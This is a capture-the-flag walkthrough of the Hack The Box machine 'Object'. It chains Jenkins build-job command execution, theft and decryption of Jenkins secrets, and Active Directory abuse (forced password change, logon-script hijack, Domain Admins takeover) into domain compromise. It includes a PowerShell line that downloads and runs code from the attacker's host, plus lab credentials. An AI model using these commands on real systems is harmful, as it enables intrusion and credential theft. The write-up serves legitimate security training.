35 HTB Object

1. **Objectives:**

```
1. Jenkins Exploitation (New Job + Abusing build Periodically)
2. Jenkins Exploitation (Abusing Trigger builds remotely Token)
3. Firewall Enumeration Techniques
4. Jenkins Password Decrypt
5. Bloodhound Enumeration
6. ForceChange abusing Password with Powerview
7. GenericWrite abusing (Set-DomainObject -Setting Script Logon Path)
8. WriteOwner abusing (Takeover Domain Admins Group)
```

2. **NMAP**

```
1. nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 80,5985,8080 object.htb
.............................................
PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Mega Engines
5985/tcp open  http    syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http    syn-ack Jetty 9.4.43.v20210629
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

3. **He does a google search for** `Jenkins default password`
4. **He creates a Jenkins account with whatever name and pass**

   1, `test:test123#!`

5. **We find the versions of jenkins in profile > builds**

   1. `Jenkins 2.317`
   2. now click people, click admin, click my views **Nothing**
   3. Go to your profile > click configure

6. **He tries a script alert tag on the name in** `profile > configure > name`

   1. `<script>alert("XSS")</script>`
   2. **FAIL**
   3. **So he clicks profile > my views > create a job > name it** `my project` **> then click ok.**
   4. **It hanged on me and would not let me click ok**
   5. **I deleted my temp folder disabled my privacy badger and reloaded the page. Tried again and clicked ok and it worked**

This box resembles HTB Jeeves

7. **In HTB Jeeves we had to get admin and access** `/script` **page there is a console where you can paste code and get a reverse shell as administrator. The box on Object is not so easy. We can not access the** `/script` **page so I am watching a walkthrough by Allh4zr3d on YouTube.**

   1. **Allh4zr3d video link** `Funday Sunday: HacktheBox's "Object"` **on YouTube**
   2. **The Time Stamp is** `@:TS:01:15:00` **where he is talking about this on Jenkins**
   3. **I have success in** `configure > build > windows batch command` **with the command** `cmd /c ping 10.10.14.2`**. I have set up tcp dump and I am getting a ping.**

8. ***Watch S4vitaar*** **walk though on HTB Object at time stamp** `@:TS:50:00` **to see how he is able to curl the command instead of having it run every minute which is a pain. Using the curl command to execute the payload is much better.**

   1. **The** `POC` **(Proof of Concept) to see if our payload would be able to trigger using curl to curl our token payload worked.**
   2. **This is the POC payload** `cmd /c echo "can you read this"`

9. **Here is the output from the Jenkins console**

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins8645806326324549091.bat
.............................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c echo "Can you read this"
"Can you read this"
.............................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: SUCCESS
```

10. **Now we are going to try *powershell whoami*.**

```
cmd /c powershell -c "whoami"
```

11. **I forgot to mention once you configure your token and check remote build instead of build periodically the command to curl the payload should be like the one below.**

```
curl -s -X GET "http://test:112cc2e9ac589f455f1d470a2bcf6f846e@10.10.11.132:8080/job/project2/build?
token=mytoken"
```

12. **The command *cmd powershell "whoami"* was a success.**

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins13814110482361004119.bat
.........................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c "whoami"
object\oliver
.............................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: SUCCESS
```

13. **Next we try IEX as a POC for now.**

```
cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.2/test')
```

> **FAILS, this is probably why my attempts with my obfuscated powershell have failed as well something is blocking commands.**
> 14. **He attempts to enumerate the firewall to see what rules are blocking our request and what rules are allowing requests to go through the firewall.**

```
cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True

1. Output
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins373661992964054436.bat
.....................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c Get-NetFirewallRule -
Direction Outbound -Action Block -Enabled True
.....................................
Name                  : {D6399A8B-5E04-458F-AA68-62F64A4F1F43}
DisplayName           : BlockOutboundDC
Description           :
DisplayGroup          :
Group                 :
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Outbound
Action                : Block
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 :
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local
.....................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

15. **So these are the ones that are blocked let's see which rules are allowed. There is probably a bunch.**

1. **Same command as before but action allow we are going to curl for now**
2. `cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Allow -Enabled True`

16. **Now we find the GPP policy that is blocking our requests**

```
DisplayName           : Active Directory Domain Controller -  Echo Request (ICMPv4-Out)
Description           : Outbound rule for the Active Directory Domain Controller service to allow Echo requests
(ping)
```

1. **So basically, only echo requests and pings are being allowed out!!!** 👽 👽 👽
2. **Do a google search for** `powershell display firewall rules names`

```
1. https://itluke.online/2018/11/27/how-to-display-firewall-rule-ports-with-powershell/
2. Here is the code below the dotted line to paste in powershell to query the firewall state
.....................................................................
cmd /c powershell -c "Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True | Format-Table -
Property Name,DisplayName,DisplayGroup,@{Name='Protocol';Expression={($PSItem | Get-
NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-
NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-
NetFirewallPortFilter).RemotePort}},=@{Name='RemoteAddress';Expression={($PSItem | Get-
NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"
```

18. **I messed around for an hour trying to get the above command to work. I could not. I probably have some space messed up somewhere or a dot in the wrong place. I don't know powershell so trying to fix the syntax is a fail for me. I am going to do a simple** `ls`

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins9806179754034452455.bat
.......................................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c "ls"
.......................................................
Directory:
    C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/8/2023  11:04 PM              0 0)po.write(si.read())
.......................................................
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

19. **We are going to try a directory traversal**

```
cmd /c powershell -c "ls ../../"
```

20. **Secret key, very cool I think we have found some good files to enumerate**

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins14949067907147139638.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "ls ../../

Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/8/2023   9:27 PM                jobs
d-----       10/20/2021  10:19 PM                logs
d-----       10/20/2021  10:08 PM                nodes
d-----       10/20/2021  10:12 PM                plugins
d-----       10/20/2021  10:26 PM                secrets
d-----       10/25/2021  10:31 PM                updates
d-----       10/20/2021  10:08 PM                userContent
d-----        10/8/2023   7:21 PM                users
d-----       10/20/2021  10:13 PM                workflow-libs
d-----        10/8/2023  10:10 PM                workspace
-a----        10/8/2023   4:48 PM              0 .lastStarted
-a----        10/9/2023   1:38 AM             41 .owner
-a----        10/8/2023   4:48 PM           2505 config.xml
-a----        10/8/2023   4:48 PM            156 hudson.model.UpdateCenter.xml
-a----       10/20/2021  10:13 PM            375 hudson.plugins.git.GitTool.xml
-a----       10/20/2021  10:08 PM           1712 identity.key.enc
-a----        10/8/2023   4:48 PM              5 jenkins.install.InstallUtil.lastExecVersion
-a----       10/20/2021  10:14 PM              5 jenkins.install.UpgradeWizard.state
-a----       10/20/2021  10:14 PM            179 jenkins.model.JenkinsLocationConfiguration.xml
```

```
-a----        10/20/2021  10:21 PM            357 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml
-a----        10/20/2021  10:21 PM            169 jenkins.security.QueueItemAuthenticatorConfiguration.xml
-a----        10/20/2021  10:21 PM            162 jenkins.security.UpdateSiteWarningsConfiguration.xml
-a----        10/20/2021  10:08 PM            171 jenkins.telemetry.Correlator.xml
-a----         10/8/2023   4:48 PM            907 nodeMonitors.xml
-a----         10/9/2023   1:56 AM            130 queue.xml
-a----        10/20/2021  10:28 PM            129 queue.xml.bak
-a----        10/20/2021  10:08 PM             64 secret.key
-a----        10/20/2021  10:08 PM              0 secret.key.not-so-secret
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

21. **To cat out a file the command would be like below**

    1. **`C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat ../../config.xml"`**

22. **He gets into the users directory**

    1. `C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "ls ../../users/admin_17207690984073220035`

23. **We found the *config.xml for the administrator* this is more likely to have passwords**

```
    Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/21/2021   2:22 AM           3186 config.xml
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: SUCCESS
```

24. **Now if we cat out this file**

    1. `C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat ../../users/admin_17207690984073220035/config.xml`

25. **We find a password for Oliver encoded in base64**

    1. **But S4vitaar realizes it is encrypted**
    2. **Jenkins stores encrypted credentials in the `credentials.xml` file or in `config.xml`. To decrypt them you need the `master.key` and `hudson.util.Secret` files.**
       3.**Jenkins credential decryptor GitHub page:** `https://github.com/hoto/jenkins-credentials-decryptor`
    3. **This decryptor is coded in Go-Lang. I hate Go-lang, but it seems to work no problem. Here is the usage on this decryptor**
    4. `$ ./jenkins-credentials-decryptor`
    5. **That will give you the menu. You must have Go-Lang installed. You can curl it or download the zip x64 doesn't matter.**

26. **He checks out the secrets directory with a traversal**

    1. `cmd /c powershell -c "ls ../../secrets/"`
    2. **Cat out the master.key file**
    3. `cmd /c powershell -c "cat ../../secrets/master.key"`

27. **We have the master.key**

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins12801838108848101024.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat
../../secrets/master.key
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe734
14a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3
bd96d8321a2e19e2bf0c76fe31db19

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

Find corruption or bad formatting that will cause your decryption or command to fail

- *#pwn_corrupted_files*
- *#pwn_bad_formatting_of_copy_paste*
- *#pwn_copy_paste_bad_format*

28. **Here is a good example of exfiltrating a key but that key has a misformatted extra line at the end. This comes with experience and a person might wonder why the file will not decrypt for them. When they have all the syntax correct. Will the key file has an extra line**

that will corrupt the decryption process.

```
~/hackthebox/object ▷ wc -c master.key
257 master.key
~/hackthebox/object ▷ xxd master.key
00000000: 6636 3733 6664 6230 6334 6663 6333 3339  f673fdb0c4fcc339
00000010: 3037 3034 3335 6264 6265 3161 3033 3964  070435bdbe1a039d
00000020: 3833 6135 3937 6266 3231 6561 6662 6237  83a597bf21eafbb7
00000030: 6639 6233 3562 3530 6663 6530 3036 6535  f9b35b50fce006e5
00000040: 3634 6366 6634 3536 3535 3365 6437 3363  64cff456553ed73c
00000050: 6231 6661 3536 3862 3638 6233 3130 6164  b1fa568b68b310ad
00000060: 6463 3537 3666 3136 3337 6137 6665 3733  dc576f1637a7fe73
00000070: 3431 3461 3463 3666 6631 3062 3465 3233  414a4c6ff10b4e23
00000080: 6164 6335 3338 6539 6233 3639 6130 6336  adc538e9b369a0c6
00000090: 6465 3866 6332 3939 6466 6132 6133 3930  de8fc299dfa2a390
000000a0: 3465 6337 3361 3234 6161 3438 3535 3062  4ec73a24aa48550b
000000b0: 3237 3662 6535 3166 3931 3635 3637 3935  276be51f91656795
000000c0: 3935 6232 6361 6330 3363 6332 3034 3466  95b2cac03cc2044f
000000d0: 3363 3730 3264 3637 3731 3639 6532 6634  3c702d677169e2f4
000000e0: 6433 6264 3936 6438 3332 3161 3265 3139  d3bd96d8321a2e19
000000f0: 6532 6266 3063 3736 6665 3331 6462 3139  e2bf0c76fe31db19
00000100: 0a                                       . <=== This is the culprit
~/hackthebox/object ▷ master.key | xargs
zsh: command not found: master.key

~/hackthebox/object ▷ cat master.key | xargs
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe734
14a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3
bd96d8321a2e19e2bf0c76fe31db19
~/hackthebox/object ▷ cat master.key | tr -d '\n' > master2.key
~/hackthebox/object ▷ xxd master2.key (It has too look clean like below)
00000000: 6636 3733 6664 6230 6334 6663 6333 3339  f673fdb0c4fcc339
00000010: 3037 3034 3335 6264 6265 3161 3033 3964  070435bdbe1a039d
00000020: 3833 6135 3937 6266 3231 6561 6662 6237  83a597bf21eafbb7
00000030: 6639 6233 3562 3530 6663 6530 3036 6535  f9b35b50fce006e5
00000040: 3634 6366 6634 3536 3535 3365 6437 3363  64cff456553ed73c
00000050: 6231 6661 3536 3862 3638 6233 3130 6164  b1fa568b68b310ad
00000060: 6463 3537 3666 3136 3337 6137 6665 3733  dc576f1637a7fe73
00000070: 3431 3461 3463 3666 6631 3062 3465 3233  414a4c6ff10b4e23
00000080: 6164 6335 3338 6539 6233 3639 6130 6336  adc538e9b369a0c6
00000090: 6465 3866 6332 3939 6466 6132 6133 3930  de8fc299dfa2a390
000000a0: 3465 6337 3361 3234 6161 3438 3535 3062  4ec73a24aa48550b
000000b0: 3237 3662 6535 3166 3931 3635 3637 3935  276be51f91656795
000000c0: 3935 6232 6361 6330 3363 6332 3034 3466  95b2cac03cc2044f
000000d0: 3363 3730 3264 3637 3731 3639 6532 6634  3c702d677169e2f4
000000e0: 6433 6264 3936 6438 3332 3161 3265 3139  d3bd96d8321a2e19
000000f0: 6532 6266 3063 3736 6665 3331 6462 3139  e2bf0c76fe31db19
```

30. **cat hudson.util.secret file**

```
1. **cmd /c powershell -c "cat ../../secrets/hudson.util.Secret"
```

31. **He does a google search for** `convert file to base64 powershell`

```
[convert]::ToBase64String((Get-Content -path "your_file_path" -Encoding byte))
```

32. **We combine that *powershell* command with our cat** `hudson.util.secret` **command to exfiltrate it into *base64* so we can decode it properly.**

```
1. cmd /c powershell -c [convert]::ToBase64String((Get-Content -path "your_file_path" -Encoding byte)) "cat
../../secrets/hudson.util.Secret"

2. Now fix the command. Below is the correct way to get the file to render.

3. cmd /c powershell -c [convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
```

33. **Success exfiltrated the file using base64 in Powershell.**

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins8205191177500912458.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c
[convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJ
LPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKC
```

```
cY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWog
CddKudAJkHMqEISA3et9RIgA=

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: SUCCESS
```

34. **Now we decrypt the password using Jenkins-Decryptor**

```
~/hackthebox/object ▷ ./jenkins-credentials-decryptor -m master.key -s hudson.secret.decoded -c config.xml
[
  {
    "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
    "password": "c1cdfun_d2434\u0003\u0003\u0003",
    "username": "oliver"
  }
]
```

Initial Foothold Evil-Winrm

35. **We evil-winrm in with the oliver credentials**

```
~/hackthebox/object ▷ evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'
.....................................................
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oliver\Documents> whoami
object\oliver
```

APPLOCKER and *Windows Defender* is always causing me trouble when I want to upload *ingestors*.

36. **Here are the steps to import the `sharphound.ps1` module and run it. *It was not successful*. I also tried Bloodhound-Python and It was also a fail.**

```
1. *Evil-WinRM* PS C:\> cd ProgramData
2. *Evil-WinRM* PS C:\ProgramData> mkdir bh
3. *Evil-WinRM* PS C:\ProgramData\bh> upload sharphound.exe
4. *Evil-WinRM* PS C:\ProgramData\bh> upload SharpHound.ps1 (I meant to upload .ps1)
5. *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\SharpHound.ps1
6. ERROR : Unexpected token ':' in expression or statement.
7. ERROR : Unexpected token ':"ADPentestLab.ps1"' in expression or statement.
8. ERROR : Unexpected token ':false' in expression or statement.
9. *Evil-WinRM* PS C:\ProgramData\bh> Invoke-Bloodhound -CollectionMethod All
10. *Evil-WinRM* PS C:\ProgramData\bh> del sharphound.ps1
11. *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\sh2023.ps1
12. *Evil-WinRM* PS C:\ProgramData\bh> Invoke-Bloodhound -CollectionMethod All
```

> **Basically, I could not get it to run no matter what I did.**
> 37. **Here is the command to download the *ingestor as a zip file* If I had gotten it to work.**

```
1. *Evil-WinRM* PS C:\ProgramData\bh> download C:\ProgramData\bh\20220310133439_BloodHound.zip data.zip
```

UPDATE: If `Import-Module .\sharphound.ps1` fails then try `. .\sharphound.ps1`. This is from the `0xdf` walk through on this box *HTB Object*.

38. **Here is how `0xdf` gets `sharphound.ps1` to execute on this box.**

```
*Evil-WinRM* PS C:\programdata> upload SharpHound.ps1
Info: Uploading SharpHound.ps1 to C:\programdata\SharpHound.ps1

.....................................................
Data: 1298852 bytes of 1298852 bytes copied
Info: Upload successful!
.....................................................
*Evil-WinRM* PS C:\programdata> . .\SharpHound.ps1
*Evil-WinRM* PS C:\programdata> Invoke-BloodHound -CollectionMethod All
*Evil-WinRM* PS C:\programdata> ls
```

PROTIP

> **SHARPHOUND FAIL**

Piece of shit box won't let me run sharphound no matter what I do. I have also tried bloodhound-python and that was also a fail. I am just going to finish this quirky box. Aka cheat a little. lol. I don't really care about it.

FORCE CHANGE PASSWORD

- *#pwn_windows_AD_FORCECHANGEPASSWORD*

39. ***Here is the list of steps using bloodhound that I was not able to do. So I am just copy and pasting the commands he tells me to paste and hopefully it works. If I keep having issues I will have to revert the box and try again another day.***

```
1. *Evil-Winrm* PS C:\ProgramData\bh> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2. *Evil-Winrm* PS C:\ProgramData\bh> Set-DomainUserPassword -Identity smith -AccountPassword $SecPassword
3. If the password change was a success we should be able to login with Evil-WinRM into a session with smith
user. This is called .ForceChangePassword.
4. $ evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password123!'
5. SUCCESS!!!
6. *Evil-WinRM* PS C:\Users\smith\Documents> whoami
object\smith
```

40. **Smith has *GENERICWRITE* on Maria. I think Maria is the DB.**

```
1. I have no idea what he is doing I am just going along right now.
2. *Evil-WinRM* PS C:\Programdata\bh> Import-Module .\PowerView.ps1
3. *Evil-WinRM* PS C:\Programdata\bh> echo 'dir C:\Users\Maria\Desktop\ > C:\ProgramData\bh\output.txt' >
test.ps1
4. *Evil-WinRM* PS C:\Programdata\bh> Set-DomainObject -Identity maria -SET
@{scriptpath='C:\ProgramData\bh\test.ps1'}
.......................................................
*Evil-WinRM* PS C:\Programdata\bh> dir
 Directory: C:\Programdata\bh
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/9/2023  10:08 PM            830 output.txt
-a----        10/9/2023   9:25 PM         770279 PowerView.ps1
-a----        10/9/2023  10:01 PM            122 test.ps1

5. *Evil-WinRM* PS C:\Programdata\bh> type output.txt
.............................................................
Directory: C:\Users\Maria\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/26/2021   8:13 AM           6144 Engines.xls
```

A file `Engines.xls` created

41. **A file `Engines.xls` has been created**

```
1. I am still very lost lol
2. *Evil-WinRM* PS C:\Programdata\bh> echo 'copy C:\Users\Maria\Desktop\Engines.xls
C:\ProgramData\bh\Engines.xls' > test.ps1
3. *Evil-WinRM* PS C:\Programdata\bh> type test.ps1
copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\bh\Engines.xls
4. *Evil-WinRM* PS C:\Programdata\bh> dir
Engines.xls
5. *Evil-WinRM* PS C:\Programdata\bh> download C:\ProgramData\bh\Engines.xls Engines.xls
```

42. **The `Engine.xls` file magically has credentials in it lol**

```
Internal Combustion Engine: maria:d34gb8@
Diesel Engine: maria:W3llcr4ft3d_4cls
stirling engine: maria:0de_434_d545
```

43. **This is the good username and password for an *elevated* `evil-winrm` session**

```
1. maria:W3llcr4ft3d_4cls
2. ~/hackthebox/object ▷ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
....................................
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint

3. *Evil-WinRM* PS C:\Users\maria\Documents> whoami
object\maria
4. *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1
```

Set-DomainObjectOwner

44. `Set-DomainObjectOwner` **Identity to Maria**

```
*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
```

Add-DomainObjectAcl

45. **This next part should be the final command to give full priv to Maria user**

```
*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
```

46. **Now if you do a net user on Maria she should have Domain Admin**

```
1. *Evil-WinRM* PS C:\ProgramData\bh> net user Maria
..................................................
User name                    maria
Full Name                    maria garcia
Comment
'Users comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/21/2021 9:16:32 PM
Password expires             Never
Password changeable          10/22/2021 9:16:32 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 C:\ProgramData\bh\test.ps1
User profile
Home directory
Last logon                   10/9/2023 5:45:11 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.'
```

47. **Actually 1 more step. We need to manually add Maria to the Group "Domain Admins". The above is Active Directory. The next command is a built-in generic requirement like in linux permissions. Add to group membership.**

```
1. *Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
```

PROTIP

TAKING TOO LONG

If you take to long to enter these commands you will get an Access Denied when trying to add your user to the Domain Admins group. If it fails just redo all the commands quickly.

48. **You have to be quick if not it will give you and access denied when trying to add user to Domain Group at the end.**

```
*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Access is denied.*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Access is denied.*Evil-WinRM* PS C:
.......................................................................
1. *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1
2. *Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
3. *Evil-WinRM* PS C:\ProgramData\bh> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -
PrincipalIdentity Maria
4. *Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
The command completed successfully.
```

49. **I got denied and I then re-entered the commands quickly and it was successful that time.**

```
*Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
*Evil-WinRM* PS C:\ProgramData\bh> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -
PrincipalIdentity Maria
*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
The command completed successfully.
.....................................................
```

50. **Now if we do net user on Maria you can see she is *Domain Admin*.**

```
*Evil-WinRM* PS C:\ProgramData\bh> net user Maria
User name                    maria
Full Name                    maria garcia
Comment
Users comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/21/2021 9:16:32 PM
Password expires             Never
Password changeable          10/22/2021 9:16:32 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 C:\ProgramData\bh\test.ps1
User profile
Home directory
Last logon                   10/9/2023 5:45:11 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     * .Domain .Admins        *Domain Users
The command completed successfully.
```

51. **An interesting thing you have to log out and then log back in to assume the role of Domain Admin because the initial session was as a lower privileged user.**

```
*Evil-WinRM* PS C:\ProgramData\bh> cd C:\Users\Administrator
*Evil-WinRM* PS C:\Users\Administrator> dir
Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem],
UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Users\Administrator> exit

Info: Exiting with code 0
~/hackthebox/object ▷ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> type C:\Users\Administrator\Desktop\root.txt
75be541486ce91ebb10a7f86e9792972
```

52. ***DONE!!!***